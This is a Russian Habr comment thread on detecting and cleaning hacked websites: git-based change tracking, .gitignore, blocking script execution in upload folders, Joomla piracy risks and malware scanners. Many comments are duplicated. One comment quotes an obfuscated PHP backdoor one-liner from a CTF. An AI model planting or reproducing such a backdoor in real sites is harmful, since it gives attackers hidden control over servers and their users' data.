Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
Хабр доступен 24/7 благодаря поддержке друзей
Комментарии 30
Вы пишите: "Мы также запросили исходный вариант сайта у разработчиков и сравнили файлы с помощью системы контроля версий git."
Все это правильно, но вот что делать если сайт самостоятельно разрастается?
Ну то есть:
1) пользователи загружают свои аватарки и картинки, иногда другие файлы, архивы на форуме,
2) выписанные счета интернет магазина появляются в виде pdf файлов
3) обновляются и изменяются всякие файлы кеширования и прочие, вроде jooml-овских t3-assets/data.php
То, что файлы на хостинге появляются и меняются не является признаком заражения. Но да, при заражении некоторые файлы появились или изменены.
Как мне отслеживать изменения на сайте, если довольно трудно отличить полезное от вредного?
Я как не профессиональный владелец сайта сделал себе скрипт, который каждую ночь качает сайт на домашнюю машину и сравнивает со вчерашней версией каждый файл индивидуально…
Довольно коряво получилось, но как-то работает. Ежедневно получаю от скрипта e-mail со списком измененных файлов, если такие были. Потом приходится глазами отсматривать какие конкретно файлы изменились, но ведь могу и пропустить по невнимательности…
В общем реальная проблема описана в Вашей статье…
Все это правильно, но вот что делать если сайт самостоятельно разрастается?
Ну то есть:
1) пользователи загружают свои аватарки и картинки, иногда другие файлы, архивы на форуме,
2) выписанные счета интернет магазина появляются в виде pdf файлов
3) обновляются и изменяются всякие файлы кеширования и прочие, вроде jooml-овских t3-assets/data.php
То, что файлы на хостинге появляются и меняются не является признаком заражения. Но да, при заражении некоторые файлы появились или изменены.
Как мне отслеживать изменения на сайте, если довольно трудно отличить полезное от вредного?
Я как не профессиональный владелец сайта сделал себе скрипт, который каждую ночь качает сайт на домашнюю машину и сравнивает со вчерашней версией каждый файл индивидуально…
Довольно коряво получилось, но как-то работает. Ежедневно получаю от скрипта e-mail со списком измененных файлов, если такие были. Потом приходится глазами отсматривать какие конкретно файлы изменились, но ведь могу и пропустить по невнимательности…
В общем реальная проблема описана в Вашей статье…
Может я чего-то не понимаю, но для чего нужен скрипт, если можно получать список измененных файлов через систему контроля версий?
однажды nckma познает всю мощь .gitignore :)
Знаю, это не приветствуется среди «профессионалов», но не люблю git.
Моя любимая статья про GIT: stevebennett.me/2012/02/24/10-things-i-hate-about-git
Моя любимая статья про GIT: stevebennett.me/2012/02/24/10-things-i-hate-about-git
С .gitignore есть проблема.
Либо мы включаем в него папки `public/assets`, `uploads`, видим красивый git status и теряем возможность отследить зловред на бою в папке с нагенеренными файлами.
Либо не включаем и лицезреем портянки ненужных файлов при разработке.
Либо мы включаем в него папки `public/assets`, `uploads`, видим красивый git status и теряем возможность отследить зловред на бою в папке с нагенеренными файлами.
Либо не включаем и лицезреем портянки ненужных файлов при разработке.
ну если вы не в состоянии запретить выполнение скриптов из `public/assets`, `uploads`, то тут гит не поможет, да :)
Ну, например, моя проблема, как непрофессионала в сайтостроительстве — я не знаю наверняка должны ли исполняться скрипты из папки public/assets или не должны. Я вижу там php файлы, думаю, что они, наверное, исполняются (ну раз они имеют расширение php). А может они и не исполняются. Как мне узнать?
Должен ли я как enduser досконально изучить код joomla и ее компонентов перед использованием?
Должен ли я как enduser досконально изучить код joomla и ее компонентов перед использованием?
Да. Не сколько код, сколько документацию. Покуда если вы не умеете пользоваться инструментом и не наняли для этого специально самообученного человека, то и за проблемы с взломами только на ваших плечах. Это как купить бензопилу, порезаться ей, а потом говорить «неужели я должен изучать то, как ей пользоваться, ведь мне в конечном счете нужны дрова, а я знаю, что их получают в том числе бензопилой».
Тут есть такой момент, некоторые называют его «технологическая сингулярность» — это когда новые технологии появляются быстрее, чем осваиваются старые.
В результате люди используют или вынуждены использовать технологии, которые не вполне понимают. Например, у меня была ваз 2110 и я даже мог ее сам чинить! Сейчас у меня другой автомобиль и все, что я могу сделать сам — это померить уровень масла. И так во всем.
Я пока с joomla 1.5 на 2.5 перешел и перетянул сайт (очень болезненный был процесс) уже и joomla 3 появилась.
Поскольку вынужден за год изучать или знакомиться с 3-4-мя принципиально разными технологиями, то естественно глубоких знаний достичь не удается. Увы…
В результате люди используют или вынуждены использовать технологии, которые не вполне понимают. Например, у меня была ваз 2110 и я даже мог ее сам чинить! Сейчас у меня другой автомобиль и все, что я могу сделать сам — это померить уровень масла. И так во всем.
Я пока с joomla 1.5 на 2.5 перешел и перетянул сайт (очень болезненный был процесс) уже и joomla 3 появилась.
Поскольку вынужден за год изучать или знакомиться с 3-4-мя принципиально разными технологиями, то естественно глубоких знаний достичь не удается. Увы…
Offtop: кто-то еще серьезно использует joomla? Ну да ладно
То, что вы, как конечный пользователь, не успеваете за технологиями, не означает, что нет людей, которые способны настроить все как нужно. Тем более, для таких популярных CMS, как joomla — сотни, а то и тысячи статей как организовать безопасность, причем все примерно об одном и том же.
Запретить выполнение файлов из директорий asserts и public — почти наверное есть даже в официальной документации. Использовать продукт на боевой системе, плохо им владея и не привлекая дополнительных сил — что ж, пинайте на себя.
Тут спор распадается на два пути:
первый — по теме. Т.е. можно ли просто git-ом или подобным инструментом отслеживать появление новых файлов? Не буду говорить точно, но вроде как есть обилие инструментов, которые будут следить, чтобы исполняемый файл нигде, где не стоит, не просочился, не изменился, в общем — закрывать от такого. А если библиотека сама настаивает на исполнении кода в папке public — это уже её проблемы и от нее стоит отказаться. Тут никаких сложностей нет, если делать все по-уму. Хотя сложности есть, но это 0-day уязвимости, либо старые, спящие бэкдоры.
Второй — что делать, если не успеваете изучать технологии? Да ничего. Если ваш продукт — это не написание сайта, а то, что вы с него продаете, то верный шаг — нанять человека, который будет следить за этим. Если же ваш (непосредственно ваш) продукт — написание или поддержка сайта — тут уж извольте, вам придется гнаться за технологиями.
То, что вы, как конечный пользователь, не успеваете за технологиями, не означает, что нет людей, которые способны настроить все как нужно. Тем более, для таких популярных CMS, как joomla — сотни, а то и тысячи статей как организовать безопасность, причем все примерно об одном и том же.
Запретить выполнение файлов из директорий asserts и public — почти наверное есть даже в официальной документации. Использовать продукт на боевой системе, плохо им владея и не привлекая дополнительных сил — что ж, пинайте на себя.
Тут спор распадается на два пути:
первый — по теме. Т.е. можно ли просто git-ом или подобным инструментом отслеживать появление новых файлов? Не буду говорить точно, но вроде как есть обилие инструментов, которые будут следить, чтобы исполняемый файл нигде, где не стоит, не просочился, не изменился, в общем — закрывать от такого. А если библиотека сама настаивает на исполнении кода в папке public — это уже её проблемы и от нее стоит отказаться. Тут никаких сложностей нет, если делать все по-уму. Хотя сложности есть, но это 0-day уязвимости, либо старые, спящие бэкдоры.
Второй — что делать, если не успеваете изучать технологии? Да ничего. Если ваш продукт — это не написание сайта, а то, что вы с него продаете, то верный шаг — нанять человека, который будет следить за этим. Если же ваш (непосредственно ваш) продукт — написание или поддержка сайта — тут уж извольте, вам придется гнаться за технологиями.
К сожалению, у меня было целых 2 печальных опыта, когда нанятые «специалисты» за деньги делали явно неправильные вещи.
Они то думают, что заказчик (то есть я) совсем ничего не понимает и проверить работу никак не может. И говорят они умные слова и уверенные в себе. И вроде бы надеешься, и вроде бы сделали и даже как-то работает, но внутрь лучше не смотреть, а то расстроишься.
А если уж посмотрел на досуге, то понимаешь, что придется многое переделывать после «специалистов»…
Может мне не повезло.
Они то думают, что заказчик (то есть я) совсем ничего не понимает и проверить работу никак не может. И говорят они умные слова и уверенные в себе. И вроде бы надеешься, и вроде бы сделали и даже как-то работает, но внутрь лучше не смотреть, а то расстроишься.
А если уж посмотрел на досуге, то понимаешь, что придется многое переделывать после «специалистов»…
Может мне не повезло.
1) пользователи загружают свои аватарки и картинки, иногда другие файлы, архивы на форуме,
2) выписанные счета интернет магазина появляются в виде pdf файлов
3) обновляются и изменяются всякие файлы кеширования и прочие, вроде jooml-овских t3-assets/data.php
для всего этого Вам поможет .gitignore
> Все это правильно, но вот что делать если сайт самостоятельно разрастается?
>Ну то есть:
>1) пользователи загружают свои аватарки и картинки, иногда другие файлы, архивы на форуме,
>2) выписанные счета интернет магазина появляются в виде pdf файлов
>3) обновляются и изменяются всякие файлы кеширования и прочие, вроде jooml-овских t3-assets/data.php
Сайты на движке какой-нить CMS не меняют своих исходных кодов.
Аватарки, картинки, архивы на форуме, сообщения — хранятся отдельно от .php файлов, составляющих ядро CMS, и обычно эти .php файлы меняются только в двух случаях:
1. Админ сайта обновляет версию CMS
2. Админ сайта добавляет/меняет функционал (плагины или сам код правит).
Оба вышеуказанных случая делаются обычно вручную, а не по расписанию, поэтому простенький сканер, который будет отслеживать изменились ли основные .php файлы — вполне нормально для любого сайта.
Мне сложно представить сайт, даже простой интернет-магазин, в котором основные скрипты сайта меняются ежедневно. Обычно они годами не меняются.
>Ну то есть:
>1) пользователи загружают свои аватарки и картинки, иногда другие файлы, архивы на форуме,
>2) выписанные счета интернет магазина появляются в виде pdf файлов
>3) обновляются и изменяются всякие файлы кеширования и прочие, вроде jooml-овских t3-assets/data.php
Сайты на движке какой-нить CMS не меняют своих исходных кодов.
Аватарки, картинки, архивы на форуме, сообщения — хранятся отдельно от .php файлов, составляющих ядро CMS, и обычно эти .php файлы меняются только в двух случаях:
1. Админ сайта обновляет версию CMS
2. Админ сайта добавляет/меняет функционал (плагины или сам код правит).
Оба вышеуказанных случая делаются обычно вручную, а не по расписанию, поэтому простенький сканер, который будет отслеживать изменились ли основные .php файлы — вполне нормально для любого сайта.
Мне сложно представить сайт, даже простой интернет-магазин, в котором основные скрипты сайта меняются ежедневно. Обычно они годами не меняются.
Почему в статье примеры сайтов, написанных только на php? Только из-за популярности, как с вирусами для windows?
На одном из CTFов был забавный бэкдор:
<?php @$GLOBALS=$GLOBALS{next}=next($GLOBALS{'GLOBALS'})[$GLOBALS['next']['next']=next($GLOBALS)['GLOBALS']][$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])[$next['next']]][$next['GLOBALS']=next($next['GLOBALS'])][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=next(neXt(${'next'}['next'])); ?>
У меня подломали хостинг с 7 сайтами пару недель назад и рассылали спам. Это был кошмар — были заражены все сайты. Часть пришлось перенести на другой хостинг. Очень помог Айболит — выкачивал все сайты и проверял на компьютере. Всё хорошо вот только один сайт с 13 000 файлами он проверяет около 8-9 часов. Зато вроде бы нашел все проблемные файлы. Из-за большого количества сайтов трудно понять откуда произошел взлом. Айболит указал на уязвимость с файлами thumbnail.php грешу на него…
Вот так вот. Не пренебрегайте элементарными правилами безопасности… Это сохранит вам много времени и нервов.
Вот так вот. Не пренебрегайте элементарными правилами безопасности… Это сохранит вам много времени и нервов.
Айболит уже на слуху, хорошая штуковина однако.
Лучше напишите статью, о том, что ставить варезные расширения это прямой путь к доктору, я вообще удивляюсь людям, которые думают, что люди раздают платные расширения из альтруизма. По опыту могу сказать, что 95% взломов в Joomla — это установка вареза, либо не обновление саймо систем, либо сторонних расширений (кстати часто тоже варезных). Остальные 5% приходятся на не правильные настройки хостинга и действия пользователей по настройке системы.
Самое забавное, что платить за расширения/шаблоны люди не готовы, но при этом готовы платить за лечение сайта, парадокс.
Самое забавное, что платить за расширения/шаблоны люди не готовы, но при этом готовы платить за лечение сайта, парадокс.
А бывают онлайн сервисы, проверяющие сайты на уязвимости по URL, для домохозяек?
У яндекса и гугла есть для этого свои средства, но они не дают информации о том что и чем заражено. Есть сервис sucuri.net. Он выдает ссылки на зараженные страницы и куски найденого кода. Сервис virusdie.ru может не только найти заражения но и вылечить большинство из них, нужно только поместить один файл на сайт. Вообще, сервисов поверхностной проверки много, достаточно воспользоваться поиском.
Очень поверхностно, название говорит само за себя — one button scan
Единственное лечение все снести и поставить с нуля, всякие «сканы» и удаления бесполезны, я прав?
Могу еще посоветовать мой антивирус для сайтов avirlab.com
Зарегистрируйтесь на Хабре, чтобы оставить комментарий
Взлом сайта и его последствия